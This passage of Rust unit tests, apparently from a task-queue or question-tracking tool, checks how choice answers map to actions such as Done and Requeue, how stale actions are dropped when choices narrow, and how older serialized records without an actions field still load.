        assert!(q.chosen_action().is_none(), "unanswered");
        q.answer(Answer::Choice("resume".to_owned())).unwrap();
        assert!(
            q.chosen_action().is_none(),
            "a label that merely reads like an action does nothing"
        );

        let mut q2 = choice_question();
        q2.choices = vec!["SQLite".to_owned()];
        q2.actions
            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
    }

    #[test]
    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
        let mut q = choice_question();
        q.choices = vec!["A".to_owned(), "B".to_owned()];
        q.actions.insert("A".to_owned(), ChoiceAction::Done);
        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
        assert_eq!(q.actions.len(), 1);
        assert!(q.actions.contains_key("B"));

        let mut v = serde_json::to_value(&q).unwrap();
        v.as_object_mut().unwrap().remove("actions");
        let old: Question = serde_json::from_value(v).unwrap();
        assert!(old.actions.is_empty());
    }
}